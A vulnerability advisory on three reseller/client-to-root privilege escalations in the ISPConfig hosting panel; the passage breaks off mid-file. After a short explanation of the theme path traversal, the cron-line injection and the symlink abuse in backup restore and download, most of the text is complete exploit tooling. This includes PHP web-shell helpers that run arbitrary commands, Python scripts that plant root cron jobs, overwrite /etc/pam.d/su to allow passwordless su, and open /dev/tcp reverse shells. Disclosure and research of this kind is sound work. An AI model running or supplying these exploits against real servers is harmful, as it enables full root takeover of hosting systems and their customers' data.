Summary
Three post authentication vulnerabilities have been found in ISPConfig, these vulnerabilities allow attackers who are either a Reseller or Client account to escalate to root level access.
Vendor Response
ISPConfig version 3.3.1 was released: https://www.ispconfig.org/blog/ispconfig-3-3-1-released/ to address these issues.
Credit
The vulnerability was disclosed to SSD Secure Disclosure by an independent security researcher.
Vulnerability Details
Reseller to root – Themes
When a reseller creates a new client, they can set a theme for the appearance of the user interface. This value is not validated in any way and then becomes part of the path from which UI templates are loaded. The path looks something like this:
/usr/local/ispconfig/interface/web/themes/<usertheme>/templates/main.tpl.htm
The length of usertheme is limited to 32 characters, which is enough for a value like ../../../../../../tmp to load a template from /tmp, or something similar. And the templates then allow to use, for example, the tmpl_phpinclude directive to execute an arbitrary PHP script.
This way we achieve execution of our PHP script in the context of ISPConfig, which we can then manipulate however we want. For direct execution of arbitrary system commands I focused on Cron.
The Cron plugin validates the values used in a cron job definition, but at the end it also adds a comment with the name of the domain the job belongs to. As we can see here:
// ispconfig/server/plugins-available/cron_plugin.inc.php
function _write_crontab() {
//...
if($job['type'] == 'chrooted') {
$chr_cron_content .= $cron_line . " #{$job['domain']}\n";
$chr_cmd_count++;
} else {
$cron_content .= $cron_line . " #{$job['domain']}\n";
$cmd_count++;
}
//...
}
The domain name is not validated, because under normal circumstances there’s no need for that. In our case, however, we can set the domain name in the database so that it contains a newline and additional data which, after this comment is written into the cron file, create another cron job. This way we can inject a cron job running with root privileges.
Client to root – Backup restore
Here is a snippet of the relevant parts of the code for restoring a website backup from a zip:
// ispconfig/server/lib/classes/backup.inc.php
public static function restoreBackupWebFiles($backup_format, $password, $backup_dir, $filename, $backup_mode, $backup_type, $web_root, $web_user, $web_group)
{
//...
} elseif ($backup_mode == 'userzip' || $backup_mode == 'rootgz') {
//...
$user_mode = $backup_mode == 'userzip';
//...
$user_prefix_cmd = $user_mode ? 'sudo -u ' . escapeshellarg($web_user) : '';
//...
switch ($backup_format) {
//...
case "zip":
case "zip_bzip2":
$command = $user_prefix_cmd . ' unzip -qq -P ' . escapeshellarg($password) . ' -o ? -d ? 2> /dev/null';
$app->system->exec_safe($command, $filename, $web_root);
$retval = $app->system->last_exec_retcode();
/*
* Exit code 50 can happen when zip fails to overwrite files that do not
* belong to selected user, so we can consider this situation as success
* with warnings.
*/
$success = ($retval == 0 || $retval == 50);
if ($success) {
self::restoreFileOwnership($web_root, $web_user, $web_group);
}
break;
//...
}
The first problem is in unzip itself, which follows existing symlinks while extracting the archive.
For example, we can create a backup containing the file foo/bar, and when we replace foo with a symlink pointing to /etc, then during backup restoration and extraction of the file foo/bar, the file /etc/bar is created.
This applies if the backup mode is “rootgz” and the restoration runs with root privileges, which is the default setting. The other option is the “userzip” mode, where extraction runs via sudo with the privileges of the website owner, and in that case we gain nothing.
Another problem is that in both modes, after extracting the archive, the restoreFileOwnership function changes the owner of all files. This operation again follows symlinks. So if we create, for example, a symlink foo pointing to /etc/passwd, then after restoring the backup we gain ownership of the /etc/passwd file. I focused on /etc/pam.d/su to enable using su without needing to enter a password.
Client to root – Backup download
Here is a snippet of the relevant parts of the code for downloading a backup:
// ispconfig/server/lib/classes/backup.inc.php
public static function downloadBackup($backup_format, $password, $backup_dir, $filename, $backup_mode, $backup_type, $domain)
{
//...
//* Copy the backup file to the backup folder of the website
elseif(file_exists($backup_dir.'/'.$filename) && file_exists($domain['document_root'].'/backup/') && !stristr($backup_dir.'/'.$filename, '..') && !stristr($backup_dir.'/'.$filename, 'etc')) {
$success = copy($backup_dir.'/'.$filename, $domain['document_root'].'/backup/'.$filename);
}
//...
if (file_exists($domain['document_root'].'/backup/'.$filename)) {
// Change backup file permissions
chgrp($domain['document_root'].'/backup/'.$filename, $domain['system_group']);
chown($domain['document_root'].'/backup/'.$filename, $domain['system_user']);
chmod($domain['document_root'].'/backup/'.$filename,0600);
$app->log('Ready '.$domain['document_root'].'/backup/'.$filename, LOGLEVEL_DEBUG);
return true;
//...
}
So the backup file is copied from the backup storage into <document_root>/backup/ and the file owner is changed to the website owner.
The problem is that all of these operations follow symlinks. If we pre-create a symlink inside the backup folder with the name of the downloaded backup, we overwrite and gain ownership of any file that the symlink points to. I focused on /etc/pam.d/su to enable using su without needing to enter a password.
Exploits
Reseller to root – Themes
python3 expltpl.py --target 192.168.0.13 --user res01 --pass res01pass
Client to root – Backup restore
python3 explunzip.py --target 192.168.0.13 --user cli01 --pass cli01pass --domain cli01web.tld --domain-addr 192.168.0.13 --ftp-user cli01ftp --ftp-pass cli01pass
Client to root – Backup download
python3 expldl.py --target 192.168.0.13 --user cli01 --pass cli01pass --domain cli01web.tld --domain-addr 192.168.0.13 --ftp-user cli01ftp --ftp-pass cli01pass
Notes
The task queue is processed once per minute. Each exploit takes about 3 minutes.
By default, the reseller has a limit of 1 client. If you create a client for testing the client exploits, the reseller exploit will not be able to create another one. So you can either delete it or increase the reseller’s client limit.
<!-- helperunzip.php -->
<?php
error_reporting(E_ALL);
@ini_set("display_errors", 1);
@ini_set("log_errors", 0);
$REQ = array_filter(array_merge($_GET, $_POST), "is_string");
$ARG = array_map("escapeshellarg", $REQ);
function xsystem($cmd)
{
echo "$cmd\n";
$code = -1;
$res = system("exec 2>&1; $cmd", $code);
if ($res === false || $code != 0) {
die("code: $code");
}
}
$op = isset($REQ["op"]) ? $REQ["op"] : "";
if ($op == "ping") {
echo "===$op===\n";
xsystem("date >../webdav/seechange");
echo "===$op:ok===\n";
}
if ($op == "rcheck" && isset($REQ["path"])) {
echo "===$op===\n";
$phpname = get_current_user(); // script owner
$sysname = exec("id -un");
$canread = exec("[ -r {$ARG["path"]} ] && echo yes || echo no");
echo "php name: $phpname\n";
echo "sys name: $sysname\n";
echo "readable: $canread\n";
$res =
preg_match('/^web(\d+)$/', $phpname) &&
$sysname === $phpname &&
$canread === "yes";
$res = $res ? "ok" : "fail";
echo "===$op:$res===\n";
}
if ($op == "wcheck" && isset($REQ["path"])) {
echo "===$op===\n";
$canwrite = exec("[ -w {$ARG["path"]} ] && echo yes || echo no");
echo "writable: $canwrite\n";
$res = $canwrite === "yes" ? "ok" : "fail";
echo "===$op:$res===\n";
}
if ($op == "mklink" && isset($REQ["target"])) {
echo "===$op===\n";
$bak_name = md5($REQ["target"]);
xsystem("rm -f ../webdav/magiclink");
xsystem("ln -s {$ARG["target"]} ../webdav/magiclink");
xsystem(
"[ ! -f ../backup/$bak_name ] && cp {$ARG["target"]} ../backup/$bak_name || true"
);
echo "===$op:ok===\n";
}
if ($op == "write" && isset($REQ["path"], $REQ["data"])) {
echo "===$op===\n";
$bak_name = md5($REQ["path"]);
xsystem("printf %s {$ARG["data"]} >{$ARG["path"]}");
xsystem(
"[ -r ../backup/$bak_name ] && cat ../backup/$bak_name >>{$ARG["path"]} || true"
);
echo "===$op:ok===\n";
}
if ($op == "exec" && isset($REQ["cmd"])) {
echo "===$op===\n";
xsystem($REQ["cmd"]);
echo "===$op:ok===\n";
}
if ($op == "rmall") {
echo "===$op===\n";
xsystem("rm -f ../webdav/magiclink");
unlink(__FILE__);
echo "===$op:ok===\n";
}
<!-- helpertpl.php -->
<?php
error_reporting(E_ALL);
@ini_set("display_errors", 1);
@ini_set("log_errors", 0);
$op = isset($_REQUEST["op"]) ? $_REQUEST["op"] : "";
if ($op == "cktpl") {
echo "===$op===\n";
echo "===$op:ok===\n";
}
if ($op == "mktpl" && isset($_REQUEST["version"])) {
echo "===$op===\n";
system("rm -fr /dev/shm/tpl");
system("mkdir -p /dev/shm/tpl/templates");
system(
"printf %s " .
escapeshellarg($_REQUEST["version"]) .
" >/dev/shm/tpl/ispconfig_version"
);
system("cp " . escapeshellarg(__FILE__) . " /dev/shm/tpl/helper");
system(
"printf %s '<tmpl_phpinclude name=\"/dev/shm/tpl/helper\">' >/dev/shm/tpl/templates/main.tpl.htm"
);
//system("find /dev/shm/tpl |xargs ls -ld");
echo "===$op:ok===\n";
}
if ($op == "rmtpl") {
echo "===$op===\n";
system("rm -fr /dev/shm/tpl");
echo "===$op:ok===\n";
}
if ($op == "inscron" && isset($_REQUEST["domain_id"], $_REQUEST["domain"])) {
echo "===$op===\n";
global $app;
$conn = $app->db->_iConnId;
$domain_id = (int) $_REQUEST["domain_id"];
$domain = (string) $_REQUEST["domain"];
$datalog = serialize([
"old" => [],
"new" => ["parent_domain_id" => $domain_id],
]);
$sql_domain = mysqli_real_escape_string($conn, $domain);
$sql = "UPDATE web_domain SET domain = '$sql_domain' WHERE domain_id = $domain_id";
mysqli_query($conn, $sql) or die("Error: domain: " . mysqli_error($conn));
echo "domain: OK\n";
$sql =
"INSERT INTO cron (parent_domain_id, command, run_min, run_hour, run_mday, run_month, run_wday)" .
" VALUES ($domain_id, 'http://f1o2o.bar/', '*', '*', '*', '*', '*')";
mysqli_query($conn, $sql) or die("Error: cron: " . mysqli_error($conn));
$cron_id = mysqli_insert_id($conn);
echo "cron id: $cron_id\n";
$tstamp = time();
$sql_datalog = mysqli_real_escape_string($conn, $datalog);
$sql =
"INSERT INTO sys_datalog (dbtable, dbidx, action, tstamp, data)" .
" VALUES ('cron', 'id:$cron_id', 'i', $tstamp, '$sql_datalog')";
mysqli_query($conn, $sql) or die("Error: datalog: " . mysqli_error($conn));
$datalog_id = mysqli_insert_id($conn);
echo "datalog id: $datalog_id\n";
echo "===$op:ok===\n";
}
if ($op == "fixcron" && isset($_REQUEST["domain_id"], $_REQUEST["domain"])) {
echo "===$op===\n";
global $app;
$conn = $app->db->_iConnId;
$domain_id = (int) $_REQUEST["domain_id"];
$domain = (string) $_REQUEST["domain"];
$datalog = serialize([
"old" => ["parent_domain_id" => $domain_id],
"new" => [],
]);
$sql_domain = mysqli_real_escape_string($conn, $domain);
$sql = "UPDATE web_domain SET domain = '$sql_domain' WHERE domain_id = $domain_id";
mysqli_query($conn, $sql) or die("Error: domain: " . mysqli_error($conn));
echo "domain: OK\n";
$sql = "DELETE FROM cron WHERE parent_domain_id = $domain_id OR command = 'http://f1o2o.bar/'";
mysqli_query($conn, $sql) or die("Error: cron: " . mysqli_error($conn));
echo "cron: OK\n";
$tstamp = time();
$sql_datalog = mysqli_real_escape_string($conn, $datalog);
$sql =
"INSERT INTO sys_datalog (dbtable, dbidx, action, tstamp, data)" .
" VALUES ('cron', 'id:-1', 'd', $tstamp, '$sql_datalog')";
mysqli_query($conn, $sql) or die("Error: datalog: " . mysqli_error($conn));
$datalog_id = mysqli_insert_id($conn);
echo "datalog id: $datalog_id\n";
echo "===$op:ok===\n";
}
<!-- helperdl.php -->
<?php
error_reporting(E_ALL);
@ini_set("display_errors", 1);
@ini_set("log_errors", 0);
$REQ = array_filter(array_merge($_GET, $_POST), "is_string");
$ARG = array_map("escapeshellarg", $REQ);
function xsystem($cmd)
{
echo "$cmd\n";
$code = -1;
$res = system("exec 2>&1; $cmd", $code);
if ($res === false || $code != 0) {
die("code: $code");
}
}
$op = isset($REQ["op"]) ? $REQ["op"] : "";
if ($op == "ping") {
echo "===$op===\n";
xsystem("date >../webdav/seechange");
echo "===$op:ok===\n";
}
if ($op == "rcheck" && isset($REQ["path"])) {
echo "===$op===\n";
$phpname = get_current_user(); // script owner
$sysname = exec("id -un");
$canread = exec("[ -r {$ARG["path"]} ] && echo yes || echo no");
echo "php name: $phpname\n";
echo "sys name: $sysname\n";
echo "readable: $canread\n";
$res =
preg_match('/^web(\d+)$/', $phpname) &&
$sysname === $phpname &&
$canread === "yes";
$res = $res ? "ok" : "fail";
echo "===$op:$res===\n";
}
if ($op == "wcheck" && isset($REQ["path"])) {
echo "===$op===\n";
$canwrite = exec("[ -w {$ARG["path"]} ] && echo yes || echo no");
echo "writable: $canwrite\n";
$res = $canwrite === "yes" ? "ok" : "fail";
echo "===$op:$res===\n";
}
if ($op == "mklink" && isset($REQ["name"], $REQ["target"])) {
echo "===$op===\n";
$bak_name = md5($REQ["target"]);
xsystem("rm -f ../backup/{$ARG["name"]}");
xsystem("ln -s {$ARG["target"]} ../backup/{$ARG["name"]}");
xsystem(
"[ ! -f ../backup/$bak_name ] && cp {$ARG["target"]} ../backup/$bak_name || true"
);
echo "===$op:ok===\n";
}
if ($op == "write" && isset($REQ["path"], $REQ["data"])) {
echo "===$op===\n";
system("cp {$ARG["path"]} /tmp/beforewrite");
$bak_name = md5($REQ["path"]);
xsystem("printf %s {$ARG["data"]} >{$ARG["path"]}");
xsystem(
"[ -r ../backup/$bak_name ] && cat ../backup/$bak_name >>{$ARG["path"]} || true"
);
echo "===$op:ok===\n";
}
if ($op == "exec" && isset($REQ["cmd"])) {
echo "===$op===\n";
xsystem($REQ["cmd"]);
echo "===$op:ok===\n";
}
if ($op == "rmall") {
echo "===$op===\n";
xsystem("find ../backup/ -type l -exec rm '{}' ';'");
unlink(__FILE__);
echo "===$op:ok===\n";
}
# explunzip.py
try:
import requests
import lxml.html
import urllib3
urllib3.disable_warnings()
except ImportError:
import sys
print("missing dependencies")
print("pip install requests lxml")
sys.exit()
import argparse
import io
import ipaddress
import socket
import sys
import time
from ftplib import FTP
from libs.utils import ophelper, shellio
from libs.web import Web
from libs.logs import info, infopp, warn, error
def parse_args():
def ipaddr(value):
ip = ipaddress.ip_address(value)
return ip.compressed
parser = argparse.ArgumentParser()
parser.add_argument("--target", required=True)
parser.add_argument("--target-port", type=int, default=8080)
parser.add_argument("--user", required=True)
parser.add_argument("--pass", required=True, dest="pasw")
parser.add_argument("--domain", required=True)
parser.add_argument("--domain-addr")
parser.add_argument("--ftp-host")
parser.add_argument("--ftp-user", required=True)
parser.add_argument("--ftp-pass", required=True)
parser.add_argument("--bind-addr", type=ipaddr)
parser.add_argument("--bind-port", type=int, default=0)
parser.add_argument("--conn-addr", type=ipaddr)
parser.add_argument("--conn-port", type=int, default=0)
args = parser.parse_args()
args.domain_addr = args.domain_addr or args.domain
args.ftp_host = args.ftp_host or args.domain_addr
args.bind_port = args.bind_port or args.conn_port
args.conn_port = args.conn_port or args.bind_port
if not args.bind_addr:
sock = socket.create_connection((args.target, args.target_port))
args.bind_addr = sock.getsockname()[0]
sock.close()
args.shell_sock = socket.create_server((args.bind_addr, args.bind_port))
args.shell_addr, args.shell_port = args.shell_sock.getsockname()
args.conn_addr = args.conn_addr or args.shell_addr
args.conn_port = args.conn_port or args.shell_port
return args
def main():
with open("helperunzip.php", "rb") as f:
helper_php = io.BytesIO(f.read())
args = parse_args()
info(
f"panel :: host: {args.target}:{args.target_port}, user: {args.user}, pass: {args.pasw}"
)
info(f"domain :: name: {args.domain}, addr: {args.domain_addr}")
info(
f"ftp :: host: {args.ftp_host}, user: {args.ftp_user}, pass: {args.ftp_pass}"
)
info(
f"shell :: {args.target} -> {args.conn_addr}:{args.conn_port} -> {args.shell_addr}:{args.shell_port}"
)
info("upload PHP helper")
with FTP(args.ftp_host) as ftp:
ftp.login(args.ftp_user, args.ftp_pass)
ftp.cwd("web")
ftp.storbinary("STOR helper.php", helper_php)
panel_url = f"https://{args.target}:{args.target_port}/"
domain_name = args.domain
domain_url = f"http://{args.domain_addr}/"
client = Web(panel_url)
web = Web(domain_url, headers={"Host": domain_name})
shell_sock = None
try:
info("helper check")
if not ophelper(web, "helper.php", {"op": "ping"}):
error("failed")
return
info("check access")
data = {
"op": "rcheck",
"path": "/etc/pam.d/su",
}
if not ophelper(web, "helper.php", data):
error("failed")
return
info("panel login")
if not client.login(args.user, args.pasw):
error("failed")
return
info("find domain")
domain_id = client.domain_get_id(domain_name)
if domain_id is None:
error("failed")
return
info(f"{domain_id=}")
info("get existing backups")
backups = client.domain_get_backups(domain_id)
if backups is None:
error("failed")
return
infopp(backups)
backup_id, backup_name = backups[-1] if backups else (-1, "")
info("set backup settings")
excludes = [
".*",
"backup/*",
"cgi-bin/*",
"log/*",
"private/*",
"ssl/*",
"tmp/*",
"web/*",
]
data = {
"backup_excludes": ",".join(excludes),
"backup_format_web": "zip",
"backup_interval": "none",
"backup_password": "",
}
if not client.domain_set_tab(domain_id, "backup", data):
error("failed")
return
info("make backup")
if not client.domain_make_backup(domain_id):
error("failed")
return
info("waiting for completion...")
while True:
time.sleep(5)
print(".", end=" ", flush=True)
newbackups = client.domain_get_backups(domain_id)
if newbackups and newbackups[-1][0] > backup_id:
backups = newbackups
break
print("")
infopp(backups)
backup_id, backup_name = backups[-1]
info("make link")
data = {
"op": "mklink",
"target": "/etc/pam.d/su",
}
if not ophelper(web, "helper.php", data):
error("failed")
return
info("restore backup")
if not client.domain_restore_backup(domain_id, backup_id):
error("failed")
return
info("waiting for completion...")
while True:
time.sleep(5)
print(".", end=" ", flush=True)
data = {
"op": "wcheck",
"path": "/etc/pam.d/su",
}
if ophelper(web, "helper.php", data):
break
print("")
info("update pam")
data = {
"op": "write",
"path": "/etc/pam.d/su",
"data": "auth sufficient pam_permit.so\n",
}
if not ophelper(web, "helper.php", data):
error("failed")
return
info("get shell")
command = f'''su root -c "bash -c 'setsid bash -i >& /dev/tcp/{args.conn_addr}/{args.conn_port} 0>&1 &'"'''
data = {
"op": "exec",
"cmd": command,
}
if not ophelper(web, "helper.php", data):
error("failed")
return
info("waiting for shell...")
args.shell_sock.settimeout(3 * 60)
try:
shell_sock, shell_from = args.shell_sock.accept()
info("client connected", shell_from)
except socket.timeout:
error("accept timeout")
except KeyboardInterrupt:
pass
finally:
if web:
info("cleanup. remove files")
if not ophelper(web, "helper.php", {"op": "rmall"}):
warn("something went wrong, continuing")
client.logout()
if shell_sock:
print("\nshell\n")
shell_sock.sendall(b"cd\n")
shell_sock.sendall(b"sed -i /pam_permit/d /etc/pam.d/su\n")
shell_sock.sendall(b"chmod 0644 /etc/pam.d/su\n")
shell_sock.sendall(b"chown root:root /etc/pam.d/su\n")
shell_sock.sendall(b"uname -a;id;pwd\n")
shellio(shell_sock)
info("done")
if __name__ == "__main__":
main()
# expltpl.py
try:
import requests
import lxml.html
import urllib3
urllib3.disable_warnings()
except ImportError:
import sys
print("missing dependencies")
print("pip install requests lxml")
sys.exit()
import argparse
import io
import ipaddress
import json
import socket
import sys
import time
from ftplib import FTP
from libs.utils import ophelper, shellio
from libs.web import Web
from libs.logs import info, warn, error
CLIENT_NAME = "unique1user2name3"
DOMAIN_NAME = "unique1domain2name3.tld"
GOOD_PASSWORD = "Go0dP4s$word"
def parse_args():
def ipaddr(value):
ip = ipaddress.ip_address(value)
return ip.compressed
parser = argparse.ArgumentParser()
parser.add_argument("--target", required=True)
parser.add_argument("--target-port", type=int, default=8080)
parser.add_argument("--user", required=True)
parser.add_argument("--pass", required=True, dest="pasw")
parser.add_argument("--bind-addr", type=ipaddr)
parser.add_argument("--bind-port", type=int, default=0)
parser.add_argument("--conn-addr", type=ipaddr)
parser.add_argument("--conn-port", type=int, default=0)
args = parser.parse_args()
args.bind_port = args.bind_port or args.conn_port
args.conn_port = args.conn_port or args.bind_port
if not args.bind_addr:
sock = socket.create_connection((args.target, args.target_port))
args.bind_addr = sock.getsockname()[0]
sock.close()
args.shell_sock = socket.create_server((args.bind_addr, args.bind_port))
args.shell_addr, args.shell_port = args.shell_sock.getsockname()
args.conn_addr = args.conn_addr or args.shell_addr
args.conn_port = args.conn_port or args.shell_port
return args
def main():
with open("helpertpl.php", "rb") as f:
helper_php = io.BytesIO(f.read())
args = parse_args()
info(
f"panel :: host: {args.target}:{args.target_port}, user: {args.user}, pass: {args.pasw}"
)
info(
f"shell :: {args.target} -> {args.conn_addr}:{args.conn_port} -> {args.shell_addr}:{args.shell_port}"
)
panel_url = f"https://{args.target}:{args.target_port}/"
domain_url = f"http://{args.target}/"
ftp_host = args.target
reseller = Web(panel_url)
client = None
web = None
shell_sock = None
client_id = None
domain_id = None
ftp_id = None
try:
info("panel login")
if not reseller.login(args.user, args.pasw):
error("failed")
return
info("create client")
theme = "../../../../../../dev/shm/tpl"
client_id = reseller.client_add(CLIENT_NAME, GOOD_PASSWORD, usertheme=theme)
if not client_id:
error("failed")
return
info(f"{client_id=}")
info("create domain")
domain_id = reseller.domain_add(DOMAIN_NAME, client_name=CLIENT_NAME, php=True)
if not domain_id:
error("failed")
return
info(f"{domain_id=}")
info("create ftp")
ftp_id = reseller.ftp_add(domain_id, "ftp", GOOD_PASSWORD)
if not ftp_id:
error("failed")
return
info(f"{ftp_id=}")
info("waiting for completion...")
count = 1
while count > 0:
time.sleep(2)
resp = reseller.get("datalogstatus.php")
try:
count = int(json.loads(resp.text)["count"])
except (json.decoder.JSONDecodeError, KeyError, ValueError):
print("-", end=" ", flush=True) # empty response
else:
print(count, end=" ", flush=True)
print("")
info("upload PHP helper")
with FTP(ftp_host) as ftp:
ftp.login(CLIENT_NAME + "ftp", GOOD_PASSWORD)
ftp.cwd("web")
ftp.storbinary("STOR helper.php", helper_php)
info("prepare template")
web = Web(domain_url, headers={"Host": DOMAIN_NAME})
for version in [
"3.3.0p3",
"3.3.0p2",
"3.3.0p1",
"3.3",
"3.2.12p1",
"3.2.12",
"3.2.11p2",
"3.2.11p1",
"3.2.11",
"3.2.10p2",
"3.2.10p1",
"3.2.10",
]:
info(f"template version: {version}")
data = {
"op": "mktpl",
"version": version,
}
if not ophelper(web, "helper.php", data):
error("helper doesn't work")
return
info("test template")
client = Web(panel_url)
client.login(CLIENT_NAME, GOOD_PASSWORD) # ignore retval
if ophelper(client, "index.php", {"op": "cktpl"}):
break
else:
error("failed to activate template")
return
info("inject cron")
command = f"bash -c 'setsid bash -i >& /dev/tcp/{args.conn_addr}/{args.conn_port} 0>&1 &'"
data = {
"op": "inscron",
"domain_id": domain_id,
"domain": DOMAIN_NAME + "\n*\t*\t*\t*\t*\troot\t" + command + "\n",
}
if not ophelper(client, "index.php", data):
error("failed")
return
info("waiting for shell...")
args.shell_sock.settimeout(3 * 60)
try:
shell_sock, shell_from = args.shell_sock.accept()
info("client connected", shell_from)
except socket.timeout:
error("accept timeout")
except KeyboardInterrupt:
pass
finally:
if client and domain_id:
info("cleanup. fix cron")
data = {
"op": "fixcron",
"domain_id": domain_id,
"domain": DOMAIN_NAME,
}
if not ophelper(client, "index.php", data):
warn("something went wrong, continuing")
if web:
info("cleanup. remove template")
if not ophelper(web, "helper.php", {"op": "rmtpl"}):
warn("something went wrong, continuing")
if reseller and client_id:
info("cleanup. delete everything")
reseller.client_delete(client_id)
reseller.logout()
if shell_sock:
print("\nshell\n")
shell_sock.sendall(b"cd;uname -a;id;pwd\n")
shellio(shell_sock)
info("done")
if __name__ == "__main__":
main()
# expldl.py
try:
import requests
import lxml.html
import urllib3
urllib3.disable_warnings()
except ImportError:
import sys
print("missing dependencies")
print("pip install requests lxml")
sys.exit()
import argparse
import io
import ipaddress
import socket
import sys
import time
from ftplib import FTP
from libs.utils import ophelper, shellio
from libs.web import Web
from libs.logs import info, infopp, warn, error
def parse_args():
def ipaddr(value):
ip = ipaddress.ip_address(value)
return ip.compressed
parser = argparse.ArgumentParser()
parser.add_argument("--target", required=True)
parser.add_argument("--target-port", type=int, default=8080)
parser.add_argument("--user", required=True)
parser.add_argument("--pass", required=True, dest="pasw")
parser.add_argument("--domain", required=True)
parser.add_argument("--domain-addr")
parser.add_argument("--ftp-host")
parser.add_argument("--ftp-user", required=True)
parser.add_argument("--ftp-pass", required=True)
parser.add_argument("--bind-addr", type=ipaddr)
parser.add_argument("--bind-port", type=int, default=0)
parser.add_argument("--conn-addr", type=ipaddr)
parser.add_argument("--conn-port", type=int, default=0)
args = parser.parse_args()
args.domain_addr = args.domain_addr or args.domain
args.ftp_host = args.ftp_host or args.domain_addr
args.bind_port = args.bind_port or args.conn_port
args.conn_port = args.conn_port or args.bind_port
if not args.bind_addr:
sock = socket.create_connection((args.target, args.target_port))
args.bind_addr = sock.getsockname()[0]
sock.close()
args.shell_sock = socket.create_server((args.bind_addr, args.bind_port))
args.shell_addr, args.shell_port = args.shell_sock.getsockname()
args.conn_addr = args.conn_addr or args.shell_addr
args.conn_port = args.conn_port or args.shell_port
return args
def main():
with open("helperdl.php", "rb") as f:
helper_php = io.BytesIO(f.read())
args = parse_args()
info(
f"panel :: host: {args.target}:{args.target_port}, user: {args.user}, pass: {args.pasw}"
)
info(f"domain :: name: {args.domain}, addr: {args.domain_addr}")
info(
f"ftp :: host: {args.ftp_host}, user: {args.ftp_user}, pass: {args.ftp_pass}"
)
info(
f"shell :: {args.target} -> {args.conn_addr}:{args.conn_port} -> {args.shell_addr}:{args.shell_port}"
)
info("upload PHP helper")
with FTP(args.ftp_host) as ftp:
ftp.login(args.ftp_user, args.ftp_pass)
ftp.cwd("web")
ftp.storbinary("STOR helper.php", helper_php)
panel_url = f"https://{args.target}:{args.target_port}/"
domain_name = args.domain
domain_url = f"http://{args.domain_addr}/"
client = Web(panel_url)
web = Web(domain_url, headers={"Host": domain_name})
shell_sock = None
try:
info("helper check")
if not ophelper(web, "helper.php", {"op": "ping"}):
error("failed")
return
info("check access")
data = {
"op": "rcheck",
"path": "/etc/pam.d/su",
}
if not ophelper(web, "helper.php", data):
error("failed")
return
info("panel login")
if not client.login(args.user, args.pasw):
error("failed")
return
info("find domain")
domain_id = client.domain_get_id(domain_name)
if domain_id is None:
error("failed")
return
info(f"{domain_id=}")
info("get existing backups")
backups = client.domain_get_backups(domain_id)
if backups is None:
error("failed")
return
infopp(backups)
backup_id, backup_name = backups[-1] if backups else (-1, "")
info("set backup settings")
excludes = [
".*",
"backup/*",
"cgi-bin/*",
"log/*",
"private/*",
"ssl/*",
"tmp/*",
"web/*",
]
data = {
"backup_excludes": ",".join(excludes),
"backup_format_web": "zip",
"backup_interval": "none",
"backup_password": "",
}
if not client.domain_set_tab(domain_id, "backup", data):
error("failed")
return
info("make backup")
if not client.domain_make_backup(domain_id):
error("failed")
return
info("waiting for completion...")
while True:
time.sleep(5)
print(".", end=" ", flush=True)
newbackups = client.domain_get_backups(domain_id)
if newbackups and newbackups[-1][0] > backup_id:
backups = newbackups
break
print("")
infopp(backups)
backup_id, backup_name = backups[-1]
info("redirect backup")
data = {
"op": "mklink",
"name": backup_name,
"target": "/etc/pam.d/su",
}
if not ophelper(web, "helper.php", data):
error("failed")
return
info("download backup")
if not client.domain_download_backup(domain_id, backup_id):
error("failed")
return
info("waiting for completion...")
while True:
time.sleep(5)
print(".", end=" ", flush=True)
data = {
"op": "wcheck",
"path": "/etc/pam.d/su",
}
if ophelper(web, "helper.php", data):
break
print("")
info("update pam")
data = {
"op": "write",
"path": "/etc/pam.d/su",
"data": "auth sufficient pam_permit.so\n",
}
if not ophelper(web, "helper.php", data):
error("failed")
return
info("get shell")
command = f'''su root -c "bash -c 'setsid bash -i >& /dev/tcp/{args.conn_addr}/{args.conn_port} 0>&1 &'"'''
data = {
"op": "exec",
"cmd": command,
}
if not ophelper(web, "helper.php", data):
error("failed")
return
info("waiting for shell...")
args.shell_sock.settimeout(3 * 60)
try:
shell_sock, shell_from = args.shell_sock.accept()
info("client connected", shell_from)
except socket.timeout:
error("accept timeout")
except KeyboardInterrupt:
pass
finally:
if web:
info("cleanup. remove files")
if not ophelper(web, "helper.php", {"op": "rmall"}):
warn("something went wrong, continuing")
client.logout()
if shell_sock:
print("\nshell\n")
shell_sock.sendall(b"cd\n")
shell_sock.sendall(b"sed -i /pam_permit/d /etc/pam.d/su\n")
shell_sock.sendall(b"chmod 0644 /etc/pam.d/su\n")
shell_sock.sendall(b"chown root:root /etc/pam.d/su\n")
shell_sock.sendall(b"uname -a;id;pwd\n")
shellio(shell_sock)
info("done")
if __name__ == "__main__":
main()
# libs/logs.py
import io
import logging
import pprint
import sys
import traceback
from functools import partial
LOG_DEBUG = logging.DEBUG
LOG_INFO = logging.INFO
LOG_WARNING = logging.WARNING
LOG_ERROR = logging.ERROR
logging.basicConfig(
filename="log.txt",
level=logging.DEBUG,
format="%(asctime)s [%(levelname)-8s] %(message)s",
)
stdout_handler = logging.StreamHandler(stream=sys.stdout)
stdout_handler.setLevel(logging.INFO)
logging.getLogger().addHandler(stdout_handler)
logging.getLogger("requests").setLevel(logging.CRITICAL)
def log(level, *args):
stream = io.StringIO()
print(*args, file=stream, end="")
logdata = stream.getvalue()
for line in logdata.split("\n"):
logging.log(level, line)
def logpp(level, obj):
logdata = pprint.pformat(obj, width=100)
log(level, logdata)
def logex(level, *args):
if args:
log(level, *args)
stream = io.StringIO()
traceback.print_exc(file=stream)
logdata = stream.getvalue().strip()
log(level, logdata)
debug = partial(log, LOG_DEBUG)
debugpp = partial(logpp, LOG_DEBUG)
debugex = partial(logex, LOG_DEBUG)
info = partial(log, LOG_INFO)
infopp = partial(logpp, LOG_INFO)
infoex = partial(logex, LOG_INFO)
warn = partial(log, LOG_WARNING)
warnpp = partial(logpp, LOG_WARNING)
warnex = partial(logex, LOG_WARNING)
error = partial(log, LOG_ERROR)
errorpp = partial(logpp, LOG_ERROR)
errorex = partial(logex, LOG_ERROR)
# libs/utils.py
import socket
import sys
import threading
from .logs import info, debug
def ophelper(web, path, data, show=False):
op = data["op"]
text = web.post(path, data).text
if f"==={op}===" not in text:
return False
if show:
info(text.strip())
return f"==={op}:ok===" in text
def shellio(sock):
def reader():
try:
while data := sock.recv(4096):
sys.stdout.buffer.write(data)
sys.stdout.buffer.flush()
info("client disconnected")
sock.close()
except Exception as ex:
debug(ex)
try:
t = threading.Thread(target=reader, daemon=True)
t.start()
while t.is_alive():
line = input() + "\n"
sock.sendall(line.encode())
except (Exception, KeyboardInterrupt) as ex:
debug(ex)
# libs/web.py
import re
import requests
import lxml.html
from urllib.parse import urljoin
from .logs import info, warn, error, debug, debugex, debugpp
def get_html_inputs(content):
try:
tree = lxml.html.fromstring(content)
form, opts = {}, {}
for element in tree.xpath("//input"):
form[element.name] = element.value or ""
for element in tree.xpath("//select"):
form[element.name] = element.value or ""
opts[element.name] = [
(opt.get("value", ""), opt.text_content().strip())
